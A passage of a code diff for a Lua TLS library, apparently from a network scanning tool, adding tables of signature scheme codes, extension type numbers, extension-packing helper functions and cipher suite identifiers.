+ rsa_pkcs1_sha384 = 0x0501,
+ rsa_pkcs1_sha512 = 0x0601,
+ -- ECDSA algorithms
+ ecdsa_secp256r1_sha256 = 0x0403,
+ ecdsa_secp384r1_sha384 = 0x0503,
+ ecdsa_secp521r1_sha512 = 0x0603,
+ -- draft-wang-tls-raw-public-key-with-ibc
+ eccsi_sha256 = 0x0704,
+ iso_ibs1 = 0x0705,
+ iso_ibs2 = 0x0706,
+ iso_chinese_ibs = 0x0707,
+ -- RFC8998
+ sm2sig_sm3 = 0x0708,
+ -- draft-smyshlyaev-tls13-gost-suites
+ gostr34102012_256a = 0x0709,
+ gostr34102012_256b = 0x070A,
+ gostr34102012_256c = 0x070B,
+ gostr34102012_256d = 0x070C,
+ gostr34102012_512a = 0x070D,
+ gostr34102012_512b = 0x070E,
+ gostr34102012_512c = 0x070F,
+ -- RSASSA-PSS algorithms with public key OID rsaEncryption
+ rsa_pss_rsae_sha256 = 0x0804,
+ rsa_pss_rsae_sha384 = 0x0805,
+ rsa_pss_rsae_sha512 = 0x0806,
+ -- EdDSA algorithms
+ ed25519 = 0x0807,
+ ed448 = 0x0808,
+ -- RSASSA-PSS algorithms with public key OID RSASSA-PSS
+ rsa_pss_pss_sha256 = 0x0809,
+ rsa_pss_pss_sha384 = 0x080a,
+ rsa_pss_pss_sha512 = 0x080b,
+ -- ECC Brainpool curves
+ ecdsa_brainpoolP256r1tls13_sha256 = 0x081a,
+ ecdsa_brainpoolP384r1tls13_sha384 = 0x081b,
+ ecdsa_brainpoolP512r1tls13_sha512 = 0x081c,
+ -- Legacy algorithms
+ rsa_pkcs1_sha1 = 0x0201,
+ ecdsa_sha1 = 0x0203,
+ -- RFC 8998
+ sm2sig_sm3 = 0x0708,
+}
+
+---
+-- Extensions
+-- RFC 6066, draft-agl-tls-nextprotoneg-03
+-- https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml
+--
+EXTENSIONS = {
+ ["server_name"] = 0,
+ ["max_fragment_length"] = 1,
+ ["client_certificate_url"] = 2,
+ ["trusted_ca_keys"] = 3,
+ ["truncated_hmac"] = 4,
+ ["status_request"] = 5,
+ ["user_mapping"] = 6,
+ ["client_authz"] = 7,
+ ["server_authz"] = 8,
+ ["cert_type"] = 9,
+ ["elliptic_curves"] = 10,
+ ["ec_point_formats"] = 11,
+ ["srp"] = 12,
+ ["signature_algorithms"] = 13,
+ -- TLSv1.3 changed the format for this extension. It's just more convenient
+ -- to call it something else.
+ ["signature_algorithms_13"] = 13,
+ ["use_srtp"] = 14,
+ ["heartbeat"] = 15,
+ ["application_layer_protocol_negotiation"] = 16,
+ ["status_request_v2"] = 17,
+ ["signed_certificate_timestamp"] = 18,
+ ["client_certificate_type"] = 19,
+ ["server_certificate_type"] = 20,
+ ["padding"] = 21, -- rfc7685
+ ["encrypt_then_mac"] = 22, -- rfc7366
+ ["extended_master_secret"] = 23, -- rfc7627
+ ["token_binding"] = 24, -- Temporary, expires 2018-02-04
+ ["cached_info"] = 25, -- rfc7924
+ ["tls_lts"] = 26, -- draft-gutmann-tls-lts
+ ["compress_certificate"] = 27, -- rfc8879
+ ["record_size_limit"] = 28, -- rfc8449
+ ["pwd_protect"] = 29, -- rfc8492
+ ["pwd_clear"] = 30, -- rfc8492
+ ["password_salt"] = 31, -- rfc8492
+ ["ticket_pinning"] = 32,
+ ["tls_cert_with_extern_psk"] = 33,
+ ["delegated_credentials"] = 34,
+ ["TLMSP"] = 35,
+ ["TLMSP_proxying"] = 36,
+ ["TLMSP_delegate"] = 37,
+ ["supported_ekt_ciphers"] = 38,
+ ["SessionTicket TLS"] = 39,
+ -- TLSv1.3
+ ["pre_shared_key"] = 41,
+ ["early_data"] = 42,
+ ["supported_versions"] = 43,
+ ["cookie"] = 44,
+ ["psk_key_exchange_modes"] = 45,
+ ["certificate_authorities"] = 47,
+ ["oid_filters"] = 48,
+ ["post_handshake_auth"] = 49,
+ ["signature_algorithms_cert"] = 50,
+ ["key_share"] = 51,
+ ["transparency_info"] = 52,
+ ["connection_id-deprecated"] = 53,
+ ["connection_id"] = 54,
+ ["external_id_hash"] = 55,
+ ["external_session_id"] = 56,
+ ["quic_transport_parameters"] = 57,
+ ["ticket_request"] = 58,
+ ["dnssec_chain"] = 59,
+ --
+ ["next_protocol_negotiation"] = 13172,
+ ["renegotiation_info"] = 65281,
+}
+
+---
+-- Builds data for each extension
+-- Defaults to tostring (i.e. pass in the packed data you want directly)
+EXTENSION_HELPERS = {
+ ["server_name"] = function (server_name)
+ -- Only supports host_name type (0), as per RFC
+ -- Support for other types could be added later
+ return pack(">s2", pack(">Bs2", 0, server_name))
+ end,
+ ["max_fragment_length"] = tostring,
+ ["client_certificate_url"] = tostring,
+ ["trusted_ca_keys"] = tostring,
+ ["truncated_hmac"] = tostring,
+ ["status_request"] = tostring,
+ ["elliptic_curves"] = function (elliptic_curves)
+ local list = {}
+ for _, name in ipairs(elliptic_curves) do
+ list[#list+1] = pack(">I2", ELLIPTIC_CURVES[name])
+ end
+ return pack(">s2", concat(list))
+ end,
+ ["ec_point_formats"] = function (ec_point_formats)
+ local list = {}
+ for _, format in ipairs(ec_point_formats) do
+ list[#list+1] = pack(">B", EC_POINT_FORMATS[format])
+ end
+ return pack(">s1", concat(list))
+ end,
+ ["signature_algorithms"] = function(signature_algorithms)
+ local list = {}
+ for _, pair in ipairs(signature_algorithms) do
+ list[#list+1] = pack(">BB",
+ HashAlgorithms[pair[1]] or pair[1],
+ SignatureAlgorithms[pair[2]] or pair[2]
+ )
+ end
+ return pack(">s2", concat(list))
+ end,
+ ["signature_algorithms_13"] = function (signature_schemes)
+ local list = {}
+ for _, name in ipairs(signature_schemes) do
+ list[#list+1] = pack(">I2", SignatureSchemes[name])
+ end
+ return pack(">s2", concat(list))
+ end,
+ ["application_layer_protocol_negotiation"] = function(protocols)
+ local list = {}
+ for _, proto in ipairs(protocols) do
+ list[#list+1] = pack(">s1", proto)
+ end
+ return pack(">s2", concat(list))
+ end,
+ ["next_protocol_negotiation"] = tostring,
+ ["supported_versions"] = function(versions)
+ local list = {}
+ for _, name in ipairs(versions) do
+ list[#list+1] = pack(">I2", PROTOCOLS[name])
+ end
+ return pack(">s1", concat(list))
+ end,
+}
+
+--
+-- Encryption Algorithms
+--
+CIPHERS = {
+["TLS_NULL_WITH_NULL_NULL"] = 0x0000,
+["TLS_RSA_WITH_NULL_MD5"] = 0x0001,
+["TLS_RSA_WITH_NULL_SHA"] = 0x0002,
+["TLS_RSA_EXPORT_WITH_RC4_40_MD5"] = 0x0003,
+["TLS_RSA_WITH_RC4_128_MD5"] = 0x0004,
+["TLS_RSA_WITH_RC4_128_SHA"] = 0x0005,
+["TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5"] = 0x0006,
+["TLS_RSA_WITH_IDEA_CBC_SHA"] = 0x0007,
+["TLS_RSA_EXPORT_WITH_DES40_CBC_SHA"] = 0x0008,
+["TLS_RSA_WITH_DES_CBC_SHA"] = 0x0009,
+["TLS_RSA_WITH_3DES_EDE_CBC_SHA"] = 0x000A,
+["TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA"] = 0x000B,
+["TLS_DH_DSS_WITH_DES_CBC_SHA"] = 0x000C,
+["TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA"] = 0x000D,
+["TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA"] = 0x000E,
+["TLS_DH_RSA_WITH_DES_CBC_SHA"] = 0x000F,
+["TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA"] = 0x0010,
+["TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"] = 0x0011,
+["TLS_DHE_DSS_WITH_DES_CBC_SHA"] = 0x0012,
+["TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA"] = 0x0013,
+["TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"] = 0x0014,
+["TLS_DHE_RSA_WITH_DES_CBC_SHA"] = 0x0015,
+["TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA"] = 0x0016,
+["TLS_DH_anon_EXPORT_WITH_RC4_40_MD5"] = 0x0017,
+["TLS_DH_anon_WITH_RC4_128_MD5"] = 0x0018,
+["TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA"] = 0x0019,
+["TLS_DH_anon_WITH_DES_CBC_SHA"] = 0x001A,
+["TLS_DH_anon_WITH_3DES_EDE_CBC_SHA"] = 0x001B,
+["SSL_FORTEZZA_KEA_WITH_NULL_SHA"] = 0x001C,
+["SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"] = 0x001D,
+["TLS_KRB5_WITH_DES_CBC_SHA-or-SSL_FORTEZZA_KEA_WITH_RC4_128_SHA"] = 0x001E, --TLS vs SSLv3
+["TLS_KRB5_WITH_3DES_EDE_CBC_SHA"] = 0x001F,
+["TLS_KRB5_WITH_RC4_128_SHA"] = 0x0020,
+["TLS_KRB5_WITH_IDEA_CBC_SHA"] = 0x0021,
+["TLS_KRB5_WITH_DES_CBC_MD5"] = 0x0022,
+["TLS_KRB5_WITH_3DES_EDE_CBC_MD5"] = 0x0023,
+["TLS_KRB5_WITH_RC4_128_MD5"] = 0x0024,
+["TLS_KRB5_WITH_IDEA_CBC_MD5"] = 0x0025,
+["TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA"] = 0x0026,
+["TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA"] = 0x0027,
+["TLS_KRB5_EXPORT_WITH_RC4_40_SHA"] = 0x0028,
+["TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5"] = 0x0029,
+["TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5"] = 0x002A,
+["TLS_KRB5_EXPORT_WITH_RC4_40_MD5"] = 0x002B,
+["TLS_PSK_WITH_NULL_SHA"] = 0x002C,
+["TLS_DHE_PSK_WITH_NULL_SHA"] = 0x002D,
+["TLS_RSA_PSK_WITH_NULL_SHA"] = 0x002E,
+["TLS_RSA_WITH_AES_128_CBC_SHA"] = 0x002F,
+["TLS_DH_DSS_WITH_AES_128_CBC_SHA"] = 0x0030,
+["TLS_DH_RSA_WITH_AES_128_CBC_SHA"] = 0x0031,
+["TLS_DHE_DSS_WITH_AES_128_CBC_SHA"] = 0x0032,
+["TLS_DHE_RSA_WITH_AES_128_CBC_SHA"] = 0x0033,
+["TLS_DH_anon_WITH_AES_128_CBC_SHA"] = 0x0034,
+["TLS_RSA_WITH_AES_256_CBC_SHA"] = 0x0035,
+["TLS_DH_DSS_WITH_AES_256_CBC_SHA"] = 0x0036,
+["TLS_DH_RSA_WITH_AES_256_CBC_SHA"] = 0x0037,
+["TLS_DHE_DSS_WITH_AES_256_CBC_SHA"] = 0x0038,
+["TLS_DHE_RSA_WITH_AES_256_CBC_SHA"] = 0x0039,
+["TLS_DH_anon_WITH_AES_256_CBC_SHA"] = 0x003A,
+["TLS_RSA_WITH_NULL_SHA256"] = 0x003B,
+["TLS_RSA_WITH_AES_128_CBC_SHA256"] = 0x003C,
+["TLS_RSA_WITH_AES_256_CBC_SHA256"] = 0x003D,
+["TLS_DH_DSS_WITH_AES_128_CBC_SHA256"] = 0x003E,
+["TLS_DH_RSA_WITH_AES_128_CBC_SHA256"] = 0x003F,
+["TLS_DHE_DSS_WITH_AES_128_CBC_SHA256"] = 0x0040,
+["TLS_RSA_WITH_CAMELLIA_128_CBC_SHA"] = 0x0041,
+["TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA"] = 0x0042,
+["TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA"] = 0x0043,
+["TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"] = 0x0044,
+["TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"] = 0x0045,
+["TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA"] = 0x0046,
+["TLS_ECDH_ECDSA_WITH_NULL_SHA-draft"] = 0x0047, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECDSA_WITH_RC4_128_SHA-draft"] = 0x0048, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECDSA_WITH_DES_CBC_SHA-draft"] = 0x0049, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA-draft"] = 0x004A, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA-draft"] = 0x004B, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA-draft"] = 0x004C, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECNRA_WITH_DES_CBC_SHA-draft"] = 0x004D, --draft-ietf-tls-ecc-00
+["TLS_ECDH_ECNRA_WITH_3DES_EDE_CBC_SHA-draft"] = 0x004E, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECDSA_NULL_SHA-draft"] = 0x004F, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECDSA_WITH_RC4_128_SHA-draft"] = 0x0050, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECDSA_WITH_DES_CBC_SHA-draft"] = 0x0051, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECDSA_WITH_3DES_EDE_CBC_SHA-draft"] = 0x0052, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECNRA_NULL_SHA-draft"] = 0x0053, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECNRA_WITH_RC4_128_SHA-draft"] = 0x0054, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECNRA_WITH_DES_CBC_SHA-draft"] = 0x0055, --draft-ietf-tls-ecc-00
+["TLS_ECMQV_ECNRA_WITH_3DES_EDE_CBC_SHA-draft"] = 0x0056, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_NULL_WITH_SHA-draft"] = 0x0057, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_WITH_RC4_128_SHA-draft"] = 0x0058, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_WITH_DES_CBC_SHA-draft"] = 0x0059, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA-draft"] = 0x005A, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_EXPORT_WITH_DES40_CBC_SHA-draft"] = 0x005B, --draft-ietf-tls-ecc-00
+["TLS_ECDH_anon_EXPORT_WITH_RC4_40_SHA-draft"] = 0x005C, --draft-ietf-tls-ecc-00
+["TLS_RSA_EXPORT1024_WITH_RC4_56_MD5"] = 0x0060,
+["TLS_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5"] = 0x0061,
+["TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA"] = 0x0062,
+["TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA"] = 0x0063,
+["TLS_RSA_EXPORT1024_WITH_RC4_56_SHA"] = 0x0064,
+["TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA"] = 0x0065,
+["TLS_DHE_DSS_WITH_RC4_128_SHA"] = 0x0066,
+["TLS_DHE_RSA_WITH_AES_128_CBC_SHA256"] = 0x0067,
+["TLS_DH_DSS_WITH_AES_256_CBC_SHA256"] = 0x0068,
+["TLS_DH_RSA_WITH_AES_256_CBC_SHA256"] = 0x0069,
+["TLS_DHE_DSS_WITH_AES_256_CBC_SHA256"] = 0x006A,
+["TLS_DHE_RSA_WITH_AES_256_CBC_SHA256"] = 0x006B,
+["TLS_DH_anon_WITH_AES_128_CBC_SHA256"] = 0x006C,
+["TLS_DH_anon_WITH_AES_256_CBC_SHA256"] = 0x006D,
+["TLS_DHE_DSS_WITH_3DES_EDE_CBC_RMD-draft"] = 0x0072, --draft-ietf-tls-openpgp-keys-05
+["TLS_DHE_DSS_WITH_AES_128_CBC_RMD-draft"] = 0x0073, --draft-ietf-tls-openpgp-keys-05
+["TLS_DHE_DSS_WITH_AES_256_CBC_RMD-draft"] = 0x0074, --draft-ietf-tls-openpgp-keys-05
+["TLS_DHE_RSA_WITH_3DES_EDE_CBC_RMD-draft"] = 0x0077, --draft-ietf-tls-openpgp-keys-05
+["TLS_DHE_RSA_WITH_AES_128_CBC_RMD-draft"] = 0x0078, --draft-ietf-tls-openpgp-keys-05
+["TLS_DHE_RSA_WITH_AES_256_CBC_RMD-draft"] = 0x0079, --draft-ietf-tls-openpgp-keys-05
+["TLS_RSA_WITH_3DES_EDE_CBC_RMD-draft"] = 0x007C, --draft-ietf-tls-openpgp-keys-05
+["TLS_RSA_WITH_AES_128_CBC_RMD-draft"] = 0x007D, --draft-ietf-tls-openpgp-keys-05
+["TLS_RSA_WITH_AES_256_CBC_RMD-draft"] = 0x007E, --draft-ietf-tls-openpgp-keys-05
+["TLS_GOSTR341094_WITH_28147_CNT_IMIT-draft"] = 0x0080, --draft-chudov-cryptopro-cptls-04
+["TLS_GOSTR341001_WITH_28147_CNT_IMIT-draft"] = 0x0081, --draft-chudov-cryptopro-cptls-04
+["TLS_GOSTR341094_WITH_NULL_GOSTR3411-draft"] = 0x0082, --draft-chudov-cryptopro-cptls-04
+["TLS_GOSTR341001_WITH_NULL_GOSTR3411-draft"] = 0x0083, --draft-chudov-cryptopro-cptls-04
+["TLS_RSA_WITH_CAMELLIA_256_CBC_SHA"] = 0x0084,
+["TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA"] = 0x0085,
+["TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA"] = 0x0086,
+["TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"] = 0x0087,
+["TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"] = 0x0088,
+["TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA"] = 0x0089,
+["TLS_PSK_WITH_RC4_128_SHA"] = 0x008A,
+["TLS_PSK_WITH_3DES_EDE_CBC_SHA"] = 0x008B,
+["TLS_PSK_WITH_AES_128_CBC_SHA"] = 0x008C,
+["TLS_PSK_WITH_AES_256_CBC_SHA"] = 0x008D,
+["TLS_DHE_PSK_WITH_RC4_128_SHA"] = 0x008E,
+["TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"] = 0x008F,
+["TLS_DHE_PSK_WITH_AES_128_CBC_SHA"] = 0x0090,
+["TLS_DHE_PSK_WITH_AES_256_CBC_SHA"] = 0x0091,
+["TLS_RSA_PSK_WITH_RC4_128_SHA"] = 0x0092,
+["TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"] = 0x0093,
+["TLS_RSA_PSK_WITH_AES_128_CBC_SHA"] = 0x0094,
+["TLS_RSA_PSK_WITH_AES_256_CBC_SHA"] = 0x0095,
+["TLS_RSA_WITH_SEED_CBC_SHA"] = 0x0096,
+["TLS_DH_DSS_WITH_SEED_CBC_SHA"] = 0x0097,
+["TLS_DH_RSA_WITH_SEED_CBC_SHA"] = 0x0098,
+["TLS_DHE_DSS_WITH_SEED_CBC_SHA"] = 0x0099,
+["TLS_DHE_RSA_WITH_SEED_CBC_SHA"] = 0x009A,
+["TLS_DH_anon_WITH_SEED_CBC_SHA"] = 0x009B,
+["TLS_RSA_WITH_AES_128_GCM_SHA256"] = 0x009C,
+["TLS_RSA_WITH_AES_256_GCM_SHA384"] = 0x009D,
+["TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"] = 0x009E,
+["TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"] = 0x009F,
+["TLS_DH_RSA_WITH_AES_128_GCM_SHA256"] = 0x00A0,
+["TLS_DH_RSA_WITH_AES_256_GCM_SHA384"] = 0x00A1,
+["TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"] = 0x00A2,
+["TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"] = 0x00A3,
+["TLS_DH_DSS_WITH_AES_128_GCM_SHA256"] = 0x00A4,
+["TLS_DH_DSS_WITH_AES_256_GCM_SHA384"] = 0x00A5,
+["TLS_DH_anon_WITH_AES_128_GCM_SHA256"] = 0x00A6,
+["TLS_DH_anon_WITH_AES_256_GCM_SHA384"] = 0x00A7,
+["TLS_PSK_WITH_AES_128_GCM_SHA256"] = 0x00A8,
+["TLS_PSK_WITH_AES_256_GCM_SHA384"] = 0x00A9,
+["TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"] = 0x00AA,
+["TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"] = 0x00AB,
+["TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"] = 0x00AC,
+["TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"] = 0x00AD,
+["TLS_PSK_WITH_AES_128_CBC_SHA256"] = 0x00AE,
+["TLS_PSK_WITH_AES_256_CBC_SHA384"] = 0x00AF,
+["TLS_PSK_WITH_NULL_SHA256"] = 0x00B0,
+["TLS_PSK_WITH_NULL_SHA384"] = 0x00B1,
+["TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"] = 0x00B2,
+["TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"] = 0x00B3,
+["TLS_DHE_PSK_WITH_NULL_SHA256"] = 0x00B4,
+["TLS_DHE_PSK_WITH_NULL_SHA384"] = 0x00B5,
+["TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"] = 0x00B6,
+["TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"] = 0x00B7,
+["TLS_RSA_PSK_WITH_NULL_SHA256"] = 0x00B8,
+["TLS_RSA_PSK_WITH_NULL_SHA384"] = 0x00B9,
+["TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BA,
+["TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BB,
+["TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BC,
+["TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BD,
+["TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BE,
+["TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"] = 0x00BF,
+["TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C0,
+["TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C1,
+["TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C2,
+["TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C3,
+["TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C4,
+["TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"] = 0x00C5,
+["TLS_ECDH_ECDSA_WITH_NULL_SHA"] = 0xC001,
+["TLS_ECDH_ECDSA_WITH_RC4_128_SHA"] = 0xC002,
+["TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"] = 0xC003,
+["TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"] = 0xC004,
+["TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"] = 0xC005,
+["TLS_ECDHE_ECDSA_WITH_NULL_SHA"] = 0xC006,
+["TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"] = 0xC007,
+["TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"] = 0xC008,
+["TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"] = 0xC009,
+["TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"] = 0xC00A,
+["TLS_ECDH_RSA_WITH_NULL_SHA"] = 0xC00B,
+["TLS_ECDH_RSA_WITH_RC4_128_SHA"] = 0xC00C,
+["TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"] = 0xC00D,
+["TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"] = 0xC00E,
+["TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"] = 0xC00F,
+["TLS_ECDHE_RSA_WITH_NULL_SHA"] = 0xC010,
+["TLS_ECDHE_RSA_WITH_RC4_128_SHA"] = 0xC011,
+["TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"] = 0xC012,
+["TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"] = 0xC013,
+["TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"] = 0xC014,
+["TLS_ECDH_anon_WITH_NULL_SHA"] = 0xC015,
+["TLS_ECDH_anon_WITH_RC4_128_SHA"] = 0xC016,
+["TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"] = 0xC017,
+["TLS_ECDH_anon_WITH_AES_128_CBC_SHA"] = 0xC018,
+["TLS_ECDH_anon_WITH_AES_256_CBC_SHA"] = 0xC019,
+["TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"] = 0xC01A,
+["TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"] = 0xC01B,
+["TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"] = 0xC01C,
+["TLS_SRP_SHA_WITH_AES_128_CBC_SHA"] = 0xC01D,
+["TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"] = 0xC01E,
+["TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"] = 0xC01F,
+["TLS_SRP_SHA_WITH_AES_256_CBC_SHA"] = 0xC020,
+["TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"] = 0xC021,
+["TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"] = 0xC022,
+["TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"] = 0xC023,
+["TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"] = 0xC024,
+["TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"] = 0xC025,
+["TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"] = 0xC026,
+["TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"] = 0xC027,
+["TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"] = 0xC028,
+["TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"] = 0xC029,
+["TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"] = 0xC02A,
+["TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"] = 0xC02B,
+["TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"] = 0xC02C,
+["TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"] = 0xC02D,
+["TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"] = 0xC02E,
+["TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"] = 0xC02F,
+["TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"] = 0xC030,
+["TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"] = 0xC031,
+["TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"] = 0xC032,
+["TLS_ECDHE_PSK_WITH_RC4_128_SHA"] = 0xC033,
+["TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"] = 0xC034,
+["TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"] = 0xC035,
+["TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"] = 0xC036,
+["TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"] = 0xC037,
+["TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"] = 0xC038,
+["TLS_ECDHE_PSK_WITH_NULL_SHA"] = 0xC039,
+["TLS_ECDHE_PSK_WITH_NULL_SHA256"] = 0xC03A,
+["TLS_ECDHE_PSK_WITH_NULL_SHA384"] = 0xC03B,
+["TLS_RSA_WITH_ARIA_128_CBC_SHA256"] = 0xC03C,
+["TLS_RSA_WITH_ARIA_256_CBC_SHA384"] = 0xC03D,
+["TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256"] = 0xC03E,
+["TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384"] = 0xC03F,
+["TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256"] = 0xC040,
+["TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384"] = 0xC041,
+["TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256"] = 0xC042,
+["TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384"] = 0xC043,
+["TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256"] = 0xC044,
+["TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384"] = 0xC045,
+["TLS_DH_anon_WITH_ARIA_128_CBC_SHA256"] = 0xC046,
+["TLS_DH_anon_WITH_ARIA_256_CBC_SHA384"] = 0xC047,
+["TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256"] = 0xC048,
+["TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384"] = 0xC049,
+["TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256"] = 0xC04A,
+["TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384"] = 0xC04B,
+["TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256"] = 0xC04C,
+["TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384"] = 0xC04D,
+["TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256"] = 0xC04E,
+["TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384"] = 0xC04F,
+["TLS_RSA_WITH_ARIA_128_GCM_SHA256"] = 0xC050,
+["TLS_RSA_WITH_ARIA_256_GCM_SHA384"] = 0xC051,
+["TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256"] = 0xC052,
+["TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384"] = 0xC053,
+["TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256"] = 0xC054,
